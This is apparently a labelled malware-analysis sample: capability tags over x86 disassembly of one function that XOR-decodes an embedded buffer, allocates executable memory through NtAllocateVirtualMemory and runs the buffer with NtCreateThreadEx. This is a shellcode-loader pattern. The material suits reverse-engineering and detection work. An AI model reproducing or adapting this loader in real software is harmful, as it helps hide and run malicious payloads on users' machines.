Function at 0x10004f70
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x100ec580]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [section..data]
push esi
xor esi, esi
push edi
mov edi, 0x373
test ebx, ebx
jle 0x10004fb9
mov eax, 0xaaaaaaab
mov ecx, esi
mul esi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
mov eax, edi
shl ecx, 3
shr eax, cl
xor byte [esi + 0x1003b008], al
inc esi
ror edi, 0x1f
cmp esi, ebx
jl 0x10004f94
mov edi, dword [0x1003b008]
test edi, edi
jne 0x10004fcd
push 0x1002c4d4
jmp 0x100051a2
push 0x1002c4e8
push 0x100ed748
call fcn.10001400
add esp, 8
mov ecx, eax
push edi
call fcn.10004230
push eax
call fcn.10002360
push 0
call fcn.10014365
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 8], edx
push eax
call fcn.1001435a
add esp, 0x10
test eax, eax
jne 0x10005056
push str.Current_system_time:
push 0x100ed748
call fcn.10001400
add esp, 8
mov ecx, eax
push 0x3a
push dword [ebp - 0x30]
call fcn.10003ed0
push eax
call fcn.10001150
add esp, 8
mov ecx, eax
push 0x3a
push dword [ebp - 0x34]
call fcn.10003ed0
push eax
call fcn.10001150
add esp, 8
mov ecx, eax
push dword [ebp - 0x38]
call fcn.10003ed0
jmp 0x10005068
push str.Failed_to_get_local_time.
push 0x100ed7f8
call fcn.10001400
add esp, 8
push eax
call fcn.10002360
add esp, 4
push 0x1002c4fc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
push str.NtAllocateVirtualMemory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov esi, eax
mov dword [ebp - 0x14], 0
push 0x3000
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
jne 0x1000519d
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1000519d
push edi
push 0x1003b00c
push eax
call fcn.1000cee0
push 0x1002c528
push 0x100ed748
call fcn.10001400
push eax
call fcn.10002360
add esp, 0x18
push str.NtCreateThreadEx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp - 0x14]
mov edi, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0
push 0
push 0
push 0x1003b008
push esi
push eax
push 0
push 0x1fffff
lea eax, [ebp - 8]
push eax
call edi
mov esi, eax
test esi, esi
je 0x10005178
push str.syscall
push 0x100ed7f8
call fcn.10001400
add esp, 8
mov ecx, dword [eax]
push esi
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.10004080
push eax
call fcn.10002360
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b5b3
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b5b3
mov esp, ebp
pop ebp
ret
push 0x1002c570
push 0x100ed7f8
call fcn.10001400
push eax
call fcn.10002360
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.1000b5b3
mov esp, ebp
pop ebp
ret